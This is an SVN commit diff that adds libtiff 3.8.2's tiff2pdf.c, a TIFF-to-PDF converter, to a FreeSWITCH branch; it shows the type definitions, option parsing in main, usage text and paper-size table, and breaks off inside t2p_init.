Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2pdf.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiff2pdf.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2pdf.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiff2pdf.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5310 @@
+/* $Id: tiff2pdf.c,v 1.30 2006/03/21 16:37:51 dron Exp $
+ *
+ * tiff2pdf - converts a TIFF image to a PDF document
+ *
+ * Copyright (c) 2003 Ross Finlayson
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the name of
+ * Ross Finlayson may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Ross Finlayson.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL ROSS FINLAYSON BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <ctype.h>
+#include <time.h>
+
+#include "tiffiop.h"
+
+#if HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#ifndef NULL
+#define NULL ((void*)0)
+#endif
+
+#if defined(VMS)
+#define unlink remove
+#endif
+#if defined(_WIN32) && defined(USE_WIN32_FILEIO)
+#include <windows.h>
+#include <tchar.h>
+#define unlink DeleteFileA
+#endif
+
+#define TIFF2PDF_MODULE "tiff2pdf"
+#define T2P_VERSION "d"
+
+/* This type is of PDF color spaces. */
+typedef enum{
+	T2P_CS_BILEVEL=0x01, /* Bilevel, black and white */
+	T2P_CS_GRAY=0x02, /* Single channel */
+	T2P_CS_RGB=0x04, /* Three channel tristimulus RGB */
+	T2P_CS_CMYK=0x08, /* Four channel CMYK print inkset */
+	T2P_CS_LAB=0x10, /* Three channel L*a*b* color space */
+	T2P_CS_PALETTE=0x1000 /* One of the above with a color map */
+	, T2P_CS_CALGRAY=0x20 /* Calibrated single channel */
+	, T2P_CS_CALRGB=0x40 /* Calibrated three channel tristimulus RGB */
+	, T2P_CS_ICCBASED=0x80 /* ICC profile color specification */
+} t2p_cs_t;
+
+/* This type is of PDF compression types.  */
+typedef enum{
+	T2P_COMPRESS_NONE=0x00
+#ifdef CCITT_SUPPORT
+	, T2P_COMPRESS_G4=0x01
+#endif
+#if defined(JPEG_SUPPORT) || defined(OJPEG_SUPPORT)
+	, T2P_COMPRESS_JPEG=0x02
+#endif
+#ifdef ZIP_SUPPORT
+	, T2P_COMPRESS_ZIP=0x04
+#endif
+} t2p_compress_t;
+
+/* This type is whether TIFF image data can be used in PDF without transcoding. */
+typedef enum{
+	T2P_TRANSCODE_RAW=0x01, /* The raw data from the input can be used without recompressing */
+	T2P_TRANSCODE_ENCODE=0x02 /* The data from the input is perhaps unencoded and reencoded */
+} t2p_transcode_t;
+
+/* This type is of information about the data samples of the input image. */
+typedef enum{
+	T2P_SAMPLE_NOTHING=0x0000, /* The unencoded samples are normal for the output colorspace */
+	T2P_SAMPLE_ABGR_TO_RGB=0x0001, /* The unencoded samples are the result of ReadRGBAImage */
+	T2P_SAMPLE_RGBA_TO_RGB=0x0002, /* The unencoded samples are contiguous RGBA */
+	T2P_SAMPLE_RGBAA_TO_RGB=0x0004, /* The unencoded samples are RGBA with premultiplied alpha */
+	T2P_SAMPLE_YCBCR_TO_RGB=0x0008, 
+	T2P_SAMPLE_YCBCR_TO_LAB=0x0010, 
+	T2P_SAMPLE_REALIZE_PALETTE=0x0020, /* The unencoded samples are indexes into the color map */
+	T2P_SAMPLE_SIGNED_TO_UNSIGNED=0x0040, /* The unencoded samples are signed instead of unsignd */
+	T2P_SAMPLE_LAB_SIGNED_TO_UNSIGNED=0x0040, /* The L*a*b* samples have a* and b* signed */
+	T2P_SAMPLE_PLANAR_SEPARATE_TO_CONTIG=0x0100 /* The unencoded samples are separate instead of contiguous */
+} t2p_sample_t;
+
+/* This type is of error status of the T2P struct. */
+typedef enum{
+	T2P_ERR_OK = 0, /* This is the value of t2p->t2p_error when there is no error */
+	T2P_ERR_ERROR = 1 /* This is the value of t2p->t2p_error when there was an error */
+} t2p_err_t;
+
+/* This struct defines a logical page of a TIFF. */
+typedef struct {
+	tdir_t page_directory;
+	uint32 page_number;
+	ttile_t page_tilecount;
+	uint32 page_extra;
+} T2P_PAGE;
+
+/* This struct defines a PDF rectangle's coordinates. */
+typedef struct {
+	float x1;
+	float y1;
+	float x2;
+	float y2;
+	float mat[9];
+} T2P_BOX;
+
+/* This struct defines a tile of a PDF.  */
+typedef struct {
+	T2P_BOX tile_box;
+} T2P_TILE;
+
+/* This struct defines information about the tiles on a PDF page. */
+typedef struct {
+	ttile_t tiles_tilecount;
+	uint32 tiles_tilewidth;
+	uint32 tiles_tilelength;
+	uint32 tiles_tilecountx;
+	uint32 tiles_tilecounty;
+	uint32 tiles_edgetilewidth;
+	uint32 tiles_edgetilelength;
+	T2P_TILE* tiles_tiles;
+} T2P_TILES;
+
+/* This struct is the context of a function to generate PDF from a TIFF. */
+typedef struct {
+	t2p_err_t t2p_error;
+	T2P_PAGE* tiff_pages;
+	T2P_TILES* tiff_tiles;
+	tdir_t tiff_pagecount;
+	uint16 tiff_compression;
+	uint16 tiff_photometric;
+	uint16 tiff_fillorder;
+	uint16 tiff_bitspersample;
+	uint16 tiff_samplesperpixel;
+	uint16 tiff_planar;
+	uint32 tiff_width;
+	uint32 tiff_length;
+	float tiff_xres;
+	float tiff_yres;
+	uint16 tiff_orientation;
+	toff_t tiff_dataoffset;
+	tsize_t tiff_datasize;
+	TIFFReadWriteProc tiff_readproc;
+	TIFFReadWriteProc tiff_writeproc;
+	TIFFSeekProc tiff_seekproc;
+	uint16 tiff_resunit;
+	uint16 pdf_centimeters;
+	uint16 pdf_overrideres;
+	uint16 pdf_overridepagesize;
+	float pdf_defaultxres;
+	float pdf_defaultyres;
+	float pdf_xres;
+	float pdf_yres;
+	float pdf_defaultpagewidth;
+	float pdf_defaultpagelength;
+	float pdf_pagewidth;
+	float pdf_pagelength;
+	float pdf_imagewidth;
+	float pdf_imagelength;
+	T2P_BOX pdf_mediabox;
+	T2P_BOX pdf_imagebox;
+	uint16 pdf_majorversion;
+	uint16 pdf_minorversion;
+	uint32 pdf_catalog;
+	uint32 pdf_pages;
+	uint32 pdf_info;
+	uint32 pdf_palettecs;
+	uint16 pdf_fitwindow;
+	uint32 pdf_startxref;
+	char* pdf_fileid;
+	char* pdf_datetime;
+	char* pdf_creator;
+	char* pdf_author;
+	char* pdf_title;
+	char* pdf_subject;
+	char* pdf_keywords;
+	t2p_cs_t pdf_colorspace;
+	uint16 pdf_colorspace_invert;
+	uint16 pdf_switchdecode;
+	uint16 pdf_palettesize;
+	unsigned char* pdf_palette;
+	int pdf_labrange[4];
+	t2p_compress_t pdf_defaultcompression;
+	uint16 pdf_defaultcompressionquality;
+	t2p_compress_t pdf_compression;
+	uint16 pdf_compressionquality;
+	uint16 pdf_nopassthrough;
+	t2p_transcode_t pdf_transcode;
+	t2p_sample_t pdf_sample;
+	uint32* pdf_xrefoffsets;
+	uint32 pdf_xrefcount;
+	tdir_t pdf_page;
+#ifdef OJPEG_SUPPORT
+	tdata_t pdf_ojpegdata;
+	uint32 pdf_ojpegdatalength;
+	uint32 pdf_ojpegiflength;
+#endif
+	float tiff_whitechromaticities[2];
+	float tiff_primarychromaticities[6];
+	float tiff_referenceblackwhite[2];
+	float* tiff_transferfunction[3];
+	int pdf_image_interpolate;	/* 0 (default) : do not interpolate,
+					   1 : interpolate */
+	uint16 tiff_transferfunctioncount;
+	uint32 pdf_icccs;
+	uint32 tiff_iccprofilelength;
+	tdata_t tiff_iccprofile;
+} T2P;
+
+/* These functions are called by main. */
+
+void tiff2pdf_usage(void);
+int tiff2pdf_match_paper_size(float*, float*, char*);
+
+/* These functions are used to generate a PDF from a TIFF. */ 
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+T2P* t2p_init(void);
+void t2p_validate(T2P*);
+tsize_t t2p_write_pdf(T2P*, TIFF*, TIFF*);
+void t2p_free(T2P*);
+
+#ifdef __cplusplus
+}
+#endif
+
+tsize_t t2p_empty_readproc(thandle_t, tdata_t, tsize_t);
+tsize_t t2p_empty_writeproc(thandle_t, tdata_t, tsize_t);
+toff_t t2p_empty_seekproc(thandle_t, toff_t, int);
+int t2p_empty_closeproc(thandle_t);
+void t2p_read_tiff_init(T2P*, TIFF*);
+int t2p_cmp_t2p_page(const void*, const void*);
+void t2p_read_tiff_data(T2P*, TIFF*);
+void t2p_read_tiff_size(T2P*, TIFF*);
+void t2p_read_tiff_size_tile(T2P*, TIFF*, ttile_t);
+int t2p_tile_is_right_edge(T2P_TILES, ttile_t);
+int t2p_tile_is_bottom_edge(T2P_TILES, ttile_t);
+int t2p_tile_is_edge(T2P_TILES, ttile_t);
+int t2p_tile_is_corner_edge(T2P_TILES, ttile_t);
+tsize_t t2p_readwrite_pdf_image(T2P*, TIFF*, TIFF*);
+tsize_t t2p_readwrite_pdf_image_tile(T2P*, TIFF*, TIFF*, ttile_t);
+#ifdef OJPEG_SUPPORT
+int t2p_process_ojpeg_tables(T2P*, TIFF*);
+#endif
+#ifdef JPEG_SUPPORT
+int t2p_process_jpeg_strip(unsigned char*, tsize_t*, unsigned char*, tsize_t*, tstrip_t, uint32);
+#endif
+void t2p_tile_collapse_left(tdata_t, tsize_t, uint32, uint32, uint32);
+void t2p_write_advance_directory(T2P*, TIFF*);
+tsize_t t2p_sample_planar_separate_to_contig(T2P*, unsigned char*, unsigned char*, tsize_t);
+tsize_t t2p_sample_realize_palette(T2P*, unsigned char*);
+tsize_t t2p_sample_abgr_to_rgb(tdata_t, uint32);
+tsize_t t2p_sample_rgba_to_rgb(tdata_t, uint32);
+tsize_t t2p_sample_rgbaa_to_rgb(tdata_t, uint32);
+tsize_t t2p_sample_lab_signed_to_unsigned(tdata_t, uint32);
+tsize_t t2p_write_pdf_header(T2P*, TIFF*);
+tsize_t t2p_write_pdf_obj_start(uint32, TIFF*);
+tsize_t t2p_write_pdf_obj_end(TIFF*);
+tsize_t t2p_write_pdf_name(char*, TIFF*);
+tsize_t t2p_write_pdf_string(char*, TIFF*);
+tsize_t t2p_write_pdf_stream(tdata_t, tsize_t, TIFF*);
+tsize_t t2p_write_pdf_stream_start(TIFF*);
+tsize_t t2p_write_pdf_stream_end(TIFF*);
+tsize_t t2p_write_pdf_stream_dict(tsize_t, uint32, TIFF*);
+tsize_t t2p_write_pdf_stream_dict_start(TIFF*);
+tsize_t t2p_write_pdf_stream_dict_end(TIFF*);
+tsize_t t2p_write_pdf_stream_length(tsize_t, TIFF*);
+tsize_t t2p_write_pdf_catalog(T2P*, TIFF*);
+tsize_t t2p_write_pdf_info(T2P*, TIFF*, TIFF*);
+void t2p_pdf_currenttime(T2P*);
+void t2p_pdf_tifftime(T2P*, TIFF*);
+tsize_t t2p_write_pdf_pages(T2P*, TIFF*);
+tsize_t t2p_write_pdf_page(uint32, T2P*, TIFF*);
+void t2p_compose_pdf_page(T2P*);
+void t2p_compose_pdf_page_orient(T2P_BOX*, uint16);
+void t2p_compose_pdf_page_orient_flip(T2P_BOX*, uint16);
+tsize_t t2p_write_pdf_page_content(T2P*, TIFF*);
+tsize_t t2p_write_pdf_xobject_stream_dict(ttile_t, T2P*, TIFF*);
+tsize_t t2p_write_pdf_xobject_cs(T2P*, TIFF*);
+tsize_t t2p_write_pdf_transfer(T2P*, TIFF*);
+tsize_t t2p_write_pdf_transfer_dict(T2P*, TIFF*, uint16);
+tsize_t t2p_write_pdf_transfer_stream(T2P*, TIFF*, uint16);
+tsize_t t2p_write_pdf_xobject_calcs(T2P*, TIFF*);
+tsize_t t2p_write_pdf_xobject_icccs(T2P*, TIFF*);
+tsize_t t2p_write_pdf_xobject_icccs_dict(T2P*, TIFF*);
+tsize_t t2p_write_pdf_xobject_icccs_stream(T2P*, TIFF*);
+tsize_t t2p_write_pdf_xobject_cs_stream(T2P*, TIFF*);
+tsize_t t2p_write_pdf_xobject_decode(T2P*, TIFF*);
+tsize_t t2p_write_pdf_xobject_stream_filter(ttile_t, T2P*, TIFF*);
+tsize_t t2p_write_pdf_xreftable(T2P*, TIFF*);
+tsize_t t2p_write_pdf_trailer(T2P*, TIFF*);
+
+/*
+
+  This is the main function.
+
+  The program converts one TIFF file to one PDF file, including multiple page 
+  TIFF files, tiled TIFF files, black and white. grayscale, and color TIFF 
+  files that contain data of TIFF photometric interpretations of bilevel, 
+  grayscale, RGB, YCbCr, CMYK separation, and ICC L*a*b* as supported by 
+  libtiff and PDF.
+
+  If you have multiple TIFF files to convert into one PDF file then use tiffcp 
+  or other program to concatenate the files into a multiple page TIFF file.  
+  If the input TIFF file is of huge dimensions (greater than 10000 pixels height
+  or width) convert the input image to a tiled TIFF if it is not already.
+
+  The standard output is standard output.  Set the output file name with the 
+  "-o output.pdf" option.
+
+  All black and white files are compressed into a single strip CCITT G4 Fax 
+  compressed PDF, unless tiled, where tiled black and white images are 
+  compressed into tiled CCITT G4 Fax compressed PDF, libtiff CCITT support 
+  is assumed.
+
+  Color and grayscale data can be compressed using either JPEG compression, 
+  ITU-T T.81, or Zip/Deflate LZ77 compression, per PNG 1.2 and RFC 1951.  Set 
+  the compression type using the -j or -z options.  JPEG compression support 
+  requires that libtiff be configured with JPEG support, and Zip/Deflate 
+  compression support requires that libtiff is configured with Zip support, 
+  in tiffconf.h.  Use only one or the other of -j and -z.  The -q option 
+  sets the image compression quality, that is 1-100 with libjpeg JPEG 
+  compression and one of 1, 10, 11, 12, 13, 14, or 15 for PNG group compression 
+  predictor methods, add 100, 200, ..., 900 to set zlib compression quality 1-9.
+  PNG Group differencing predictor methods are not currently implemented.
+
+  If the input TIFF contains single strip CCITT G4 Fax compressed information, 
+  then that is written to the PDF file without transcoding, unless the options 
+  of no compression and no passthrough are set, -d and -n.
+
+  If the input TIFF contains JPEG or single strip Zip/Deflate compressed 
+  information, and they are configured, then that is written to the PDF file 
+  without transcoding, unless the options of no compression and no passthrough 
+  are set.
+
+  The default page size upon which the TIFF image is placed is determined by 
+  the resolution and extent of the image data.  Default values for the TIFF 
+  image resolution can be set using the -x and -y options.  The page size can 
+  be set using the -p option for paper size, or -w and -l for paper width and 
+  length, then each page of the TIFF image is centered on its page.  The 
+  distance unit for default resolution and page width and length can be set 
+  by the -u option, the default unit is inch.
+
+  Various items of the output document information can be set with the -e, -c, 
+  -a, -t, -s, and -k tags.  Setting the argument of the option to "" for these 
+  tags causes the relevant document information field to be not written.  Some 
+  of the document information values otherwise get their information from the 
+  input TIFF image, the software, author, document name, and image description.
+
+  The output PDF file conforms to the PDF 1.1 specification or PDF 1.2 if using 
+  Zip/Deflate compression.  
+  
+  The Portable Document Format (PDF) specification is copyrighted by Adobe 
+  Systems, Incorporated.  Todos derechos reservados.
+
+  Here is a listing of the usage example and the options to the tiff2pdf 
+  program that is part of the libtiff distribution.  Options followed by 
+  a colon have a required argument.
+  
+    usage:  tiff2pdf [options] input.tif
+
+    options:
+    -o: output to file name
+
+    -j  compress with JPEG (requires libjpeg configured with libtiff)
+    -z  compress with Zip/Deflate (requires zlib configured with libtiff)
+    -q: compression quality
+    -n  no compressed data passthrough
+    -d  do not compress (decompress)
+
+	-i  invert colors
+	
+    -u: set distance unit, 'i' for inch, 'm' for centimeter
+    -x: set x resolution default
+    -y: set y resolution default
+    -w: width in units
+    -l: length in units
+    -r: 'd' for resolution default, 'o' for resolution override
+    -p: paper size, eg "letter", "legal", "A4"
+    -f  set PDF "Fit Window" user preference
+    -b set PDF "Interpolate" user preference
+    -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS
+    -c: creator, overrides image software default
+    -a: author, overrides image artist default
+    -t: title, overrides image document name default
+    -s: subject, overrides image image description default
+    -k: keywords
+
+    -h  usage
+
+    examples:
+
+        tiff2pdf -o output.pdf input.tiff
+
+    The above example would generate the file output.pdf from input.tiff.
+
+        tiff2pdf input.tiff
+
+    The above example would generate PDF output from input.tiff and write it 
+    to standard output.
+
+        tiff2pdf -j -p letter -o output.pdf input.tiff
+
+    The above example would generate the file output.pdf from input.tiff, 
+    putting the image pages on a letter sized page, compressing the output 
+    with JPEG.
+
+	Please report bugs through:
+	 
+	http://bugzilla.remotesensing.org/buglist.cgi?product=libtiff
+
+    See also libtiff.3t, tiffcp.
+  */
+
+int main(int argc, char** argv){
+
+	extern int optind;
+	extern char *optarg;
+	T2P *t2p = NULL;
+	TIFF *input = NULL, *output = NULL;
+	const char *outfilename = NULL;
+	tsize_t written=0;
+	int c=0;
+	
+	t2p = t2p_init();
+
+	if (t2p == NULL){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"Can't initialize context");
+		goto failexit;
+	}
+
+	while ((c = getopt(argc, argv, "o:q:u:x:y:w:l:r:p:e:c:a:t:s:k:jzndifbh")) != -1){
+		switch (c) {
+			case 'o':
+				outfilename = optarg;
+				break;
+#ifdef JPEG_SUPPORT
+			case 'j':  
+				t2p->pdf_defaultcompression=T2P_COMPRESS_JPEG;
+				break;
+#endif
+#ifndef JPEG_SUPPORT
+			case 'j':  
+				TIFFWarning(
+					TIFF2PDF_MODULE, 
+					"JPEG support in libtiff required for JPEG compression, ignoring option");
+				break;
+#endif
+#ifdef ZIP_SUPPORT
+			case 'z':  
+				t2p->pdf_defaultcompression=T2P_COMPRESS_ZIP;
+				break;
+#endif
+#ifndef ZIP_SUPPORT
+			case 'z':  
+				TIFFWarning(
+					TIFF2PDF_MODULE, 
+					"Zip support in libtiff required for Zip compression, ignoring option");
+				break;
+#endif
+			case 'q': 
+				t2p->pdf_defaultcompressionquality=atoi(optarg);
+				break;
+			case 'n': 
+				t2p->pdf_nopassthrough=1;
+				break;
+			case 'd': 
+				t2p->pdf_defaultcompression=T2P_COMPRESS_NONE;
+				break;
+			case 'u': 
+				if(optarg[0]=='m'){
+					t2p->pdf_centimeters=1;
+				}
+				break;
+			case 'x': 
+				t2p->pdf_defaultxres = 
+					(float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F);
+				break;
+			case 'y': 
+				t2p->pdf_defaultyres = 
+					(float)atof(optarg) / (t2p->pdf_centimeters?2.54F:1.0F);
+				break;
+			case 'w': 
+				t2p->pdf_overridepagesize=1;
+				t2p->pdf_defaultpagewidth = 
+					((float)atof(optarg) * 72.0F) / (t2p->pdf_centimeters?2.54F:1.0F);
+				break;
+			case 'l': 
+				t2p->pdf_overridepagesize=1;
+				t2p->pdf_defaultpagelength = 
+					((float)atof(optarg) * 72.0F) / (t2p->pdf_centimeters?2.54F:1.0F);
+				break;
+			case 'r': 
+				if(optarg[0]=='o'){
+					t2p->pdf_overrideres=1;
+				}
+				break;
+			case 'p': 
+				if(tiff2pdf_match_paper_size(
+					&(t2p->pdf_defaultpagewidth), 
+					&(t2p->pdf_defaultpagelength), 
+					optarg)){
+					t2p->pdf_overridepagesize=1;
+				} else {
+					TIFFWarning(TIFF2PDF_MODULE, 
+					"Unknown paper size %s, ignoring option",
+						optarg);
+				}
+				break;
+			case 'i':
+				t2p->pdf_colorspace_invert=1;
+				break;
+			case 'f': 
+				t2p->pdf_fitwindow=1;
+				break;
+			case 'e':
+				t2p->pdf_datetime = (char*)_TIFFmalloc(17);
+				if(t2p->pdf_datetime==NULL){
+					TIFFError(TIFF2PDF_MODULE, 
+				"Can't allocate %u bytes of memory for main", 
+						17); 
+					goto failfreet2p;
+				}
+				if(strlen(optarg)==0){
+					t2p->pdf_datetime[0]=0;
+				} else {
+					if(strlen(optarg)>14){optarg[14]=0;}
+					t2p->pdf_datetime[0]='D';
+					t2p->pdf_datetime[1]=':';
+					strcpy(&(t2p->pdf_datetime[2]), optarg);
+				}
+				break;
+			case 'c': 
+				t2p->pdf_creator =
+					(char *)_TIFFmalloc(strlen(optarg) + 1);
+				if(t2p->pdf_creator==NULL){
+					TIFFError(TIFF2PDF_MODULE, 
+				"Can't allocate %u bytes of memory for main", 
+						  strlen(optarg)+1); 
+					goto failfreet2p;
+				}
+				strcpy(t2p->pdf_creator, optarg);
+				t2p->pdf_creator[strlen(optarg)]=0;
+				break;
+			case 'a': 
+				t2p->pdf_author =
+					(char *)_TIFFmalloc(strlen(optarg) + 1);
+				if(t2p->pdf_author==NULL){
+					TIFFError(
+						TIFF2PDF_MODULE, 
+						"Can't allocate %u bytes of memory for main", 
+						strlen(optarg)+1); 
+					goto failfreet2p;
+				}
+				strcpy(t2p->pdf_author, optarg);
+				t2p->pdf_author[strlen(optarg)]=0;
+				break;
+			case 't': 
+				t2p->pdf_title= (char*)_TIFFmalloc(strlen(optarg)+1);
+				if(t2p->pdf_title==NULL){
+					TIFFError(
+						TIFF2PDF_MODULE, 
+						"Can't allocate %u bytes of memory for main", 
+						strlen(optarg)+1); 
+					goto failfreet2p;
+				}
+				strcpy(t2p->pdf_title, optarg);
+				t2p->pdf_title[strlen(optarg)]=0;
+				break;
+			case 's': 
+				t2p->pdf_subject= (char*)_TIFFmalloc(strlen(optarg)+1);
+				if(t2p->pdf_subject==NULL){
+					TIFFError(
+						TIFF2PDF_MODULE, 
+						"Can't allocate %u bytes of memory for main", 
+						strlen(optarg)+1); 
+					goto failfreet2p;
+				}
+				strcpy(t2p->pdf_subject, optarg);
+				t2p->pdf_subject[strlen(optarg)]=0;
+				break;
+			case 'k': 
+				t2p->pdf_keywords= (char*)_TIFFmalloc(strlen(optarg)+1);
+				if(t2p->pdf_keywords==NULL){
+					TIFFError(
+						TIFF2PDF_MODULE, 
+						"Can't allocate %u bytes of memory for main", 
+						strlen(optarg)+1); 
+					goto failfreet2p;
+				}
+				strcpy(t2p->pdf_keywords, optarg);
+				t2p->pdf_keywords[strlen(optarg)]=0;
+				break;		
+			case 'b':
+				t2p->pdf_image_interpolate = 1;
+				break;
+			case 'h': 
+			case '?': 
+				tiff2pdf_usage();
+				goto failfreet2p;
+				break;
+		}
+	}
+
+	t2p_validate(t2p);
+
+	if(argc>optind){
+		input = TIFFOpen(argv[optind++], "r");
+		if(input==NULL){
+			TIFFError(
+				TIFF2PDF_MODULE, 
+				"Can't open input file %s for reading", 
+				argv[optind-1]);
+			goto failfreet2p;
+		}
+	} else {
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"No input file specified"); 
+		tiff2pdf_usage();
+		goto failfreet2p;
+	}
+
+	if(argc>optind){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"No support for multiple input files"); 
+		tiff2pdf_usage();
+		goto failcloseinput;
+	}
+
+	if (outfilename) {
+		output = TIFFOpen(outfilename, "w");
+		if(output == NULL) {
+			TIFFError(TIFF2PDF_MODULE, 
+				  "Can't open output file %s for writing", 
+				  optarg);
+			goto failfreet2p;
+		}
+		if(output->tif_seekproc != NULL) {
+			TIFFSeekFile(output, (toff_t) 0, SEEK_SET);
+		}
+	} else {
+#if !defined(_WIN32) || defined(AVOID_WIN32_FILEIO)
+		output = TIFFFdOpen((int)fileno(tmpfile()), "-", "w");
+#else
+		{
+			TCHAR temppath[MAX_PATH];
+			TCHAR tempfile[MAX_PATH];
+			GetTempPath((DWORD)MAX_PATH, (LPTSTR)temppath);
+			GetTempFileName((LPCTSTR)temppath, (LPTSTR) "t2p", 0, (LPTSTR)tempfile);
+			output = TIFFFdOpen( (int)CreateFile(
+				(LPCTSTR)tempfile, 
+				GENERIC_WRITE, 
+				0, 
+				NULL, 
+				CREATE_ALWAYS, 
+				FILE_FLAG_DELETE_ON_CLOSE,  
+				NULL), 
+				"-", "w");
+		}
+#endif
+		if(output==NULL){
+			TIFFError(TIFF2PDF_MODULE, 
+			"Can't open temporary output file for writing to stdout", 
+				  argv[optind-1]);
+			goto failcloseinput;
+		}
+		TIFFFlush(output);
+		output->tif_readproc=t2p_empty_readproc;
+		output->tif_seekproc=t2p_empty_seekproc;
+		output->tif_closeproc=t2p_empty_closeproc;
+#if !defined(_WIN32) || defined(AVOID_WIN32_FILEIO)
+		close(output->tif_fd);
+		output->tif_fd=(int)fileno(stdout);
+#else
+		CloseHandle((HANDLE) output->tif_fd);
+		output->tif_fd=(int)GetStdHandle(STD_OUTPUT_HANDLE);
+#endif
+		output->tif_clientdata=(thandle_t)output->tif_fd;
+	}
+
+	written = t2p_write_pdf(t2p, input, output);
+
+	if(t2p->t2p_error != 0){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"An error occurred in converting TIFF %s to PDF %s", 
+			TIFFFileName(input), 
+			TIFFFileName(output)
+			);
+		goto failcloseinput;
+	}
+
+	if(input != NULL){
+		TIFFClose(input);
+	}
+	if(output != NULL){
+		TIFFClose(output);
+	}
+	if(t2p != NULL){
+		t2p_free(t2p);
+	}
+
+	return(EXIT_SUCCESS);
+
+failcloseinput:
+	if(input != NULL){
+		TIFFClose(input);
+	}
+failfreet2p:
+	if(t2p != NULL){
+		t2p_free(t2p);
+	}
+failexit:
+	return(EXIT_FAILURE);
+}
+
+void tiff2pdf_usage(){
+	char* lines[]={
+	"usage:  tiff2pdf [options] input.tiff",
+	"options:",
+	" -o: output to file name",
+#ifdef JPEG_SUPPORT
+	" -j  compress with JPEG", 
+#endif
+#ifdef ZIP_SUPPORT
+	" -z  compress with Zip/Deflate",
+#endif
+	" -q: compression quality",
+	" -n  no compressed data passthrough",
+	" -d  do not compress (decompress)",
+	" -u: set distance unit, 'i' for inch, 'm' for centimeter",
+	" -x: set x resolution default in dots per unit",
+	" -y: set y resolution default in dots per unit",
+	" -w: width in units",
+	" -l: length in units",
+	" -r: 'd' for resolution default, 'o' for resolution override",
+	" -p: paper size, eg \"letter\", \"legal\", \"A4\"",
+	" -f  set PDF \"Fit Window\" user preference",
+	" -e: date, overrides image or current date/time default, YYYYMMDDHHMMSS",
+	" -c: sets document creator, overrides image software default",
+	" -a: sets document author, overrides image artist default",
+	" -t: sets document title, overrides image document name default",
+	" -s: sets document subject, overrides image image description default",
+	" -k: sets document keywords",
+	" -b set PDF \"Interpolate\" user preference",
+	" -h  usage",
+	NULL
+	};
+	int i=0;
+
+	fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i=0;lines[i]!=NULL;i++){
+		fprintf(stderr, "%s\n", lines[i]);
+	}
+
+	return;
+}
+
+int tiff2pdf_match_paper_size(float* width, float* length, char* papersize){
+
+	int i=0;
+	int len=0;
+	const char* sizes[]={
+		"LETTER", "A4", "LEGAL",
+		"EXECUTIVE", "LETTER", "LEGAL", "LEDGER", "TABLOID", 
+		"A", "B", "C", "D", "E", "F", "G", "H", "J", "K", 
+		"A10", "A9", "A8", "A7", "A6", "A5", "A4", "A3", "A2", "A1", "A0", 
+		"2A0", "4A0", "2A", "4A", 
+		"B10", "B9", "B8", "B7", "B6", "B5", "B4", "B3", "B2", "B1", "B0", 
+		"JISB10", "JISB9", "JISB8", "JISB7", "JISB6", "JISB5", "JISB4", 
+		"JISB3", "JISB2", "JISB1", "JISB0", 
+		"C10", "C9", "C8", "C7", "C6", "C5", "C4", "C3", "C2", "C1", "C0", 
+		"RA2", "RA1", "RA0", "SRA4", "SRA3", "SRA2", "SRA1", "SRA0", 
+		"A3EXTRA", "A4EXTRA", 
+		"STATEMENT", "FOLIO", "QUARTO", 
+		NULL
+	} ;
+	const int widths[]={
+		612, 595, 612,
+		522, 612,612,792,792,
+		612,792,1224,1584,2448,2016,792,2016,2448,2880,
+		74,105,147,210,298,420,595,842,1191,1684,2384,3370,4768,3370,4768,
+		88,125,176,249,354,499,709,1001,1417,2004,2835,
+		91,128,181,258,363,516,729,1032,1460,2064,2920,
+		79,113,162,230,323,459,649,918,1298,1298,2599,
+		1219,1729,2438,638,907,1276,1814,2551,
+		914,667,
+		396, 612, 609, 
+		0
+	};
+	const int lengths[]={
+		792,842,1008,
+		756,792,1008,1224,1224,
+		792,1224,1584,2448,3168,2880,6480,10296,12672,10296,
+		105,147,210,298,420,595,842,1191,1684,2384,3370,4768,6741,4768,6741,
+		125,176,249,354,499,709,1001,1417,2004,2835,4008,
+		128,181,258,363,516,729,1032,1460,2064,2920,4127,
+		113,162,230,323,459,649,918,1298,1837,1837,3677,
+		1729,2438,3458,907,1276,1814,2551,3628,
+		1262,914,
+		612, 936, 780, 
+		0
+	};
+
+	len=strlen(papersize);
+	for(i=0;i<len;i++){
+		papersize[i]=toupper(papersize[i]);
+	}
+	for(i=0;sizes[i]!=NULL; i++){
+		if (strcmp( (const char*)papersize, sizes[i])==0){
+			*width=(float)widths[i];
+			*length=(float)lengths[i];
+			return(1);
+		}
+	}
+
+	return(0);
+}
+
+/*
+	This function allocates and initializes a T2P context struct pointer.
+*/
+
+T2P* t2p_init(){
+
+	T2P* t2p = (T2P*) _TIFFmalloc(sizeof(T2P));
+	if(t2p==NULL){
+		TIFFError(
+			TIFF2PDF_MODULE, 
+			"Can't allocate %u bytes of memory for t2p_init", 
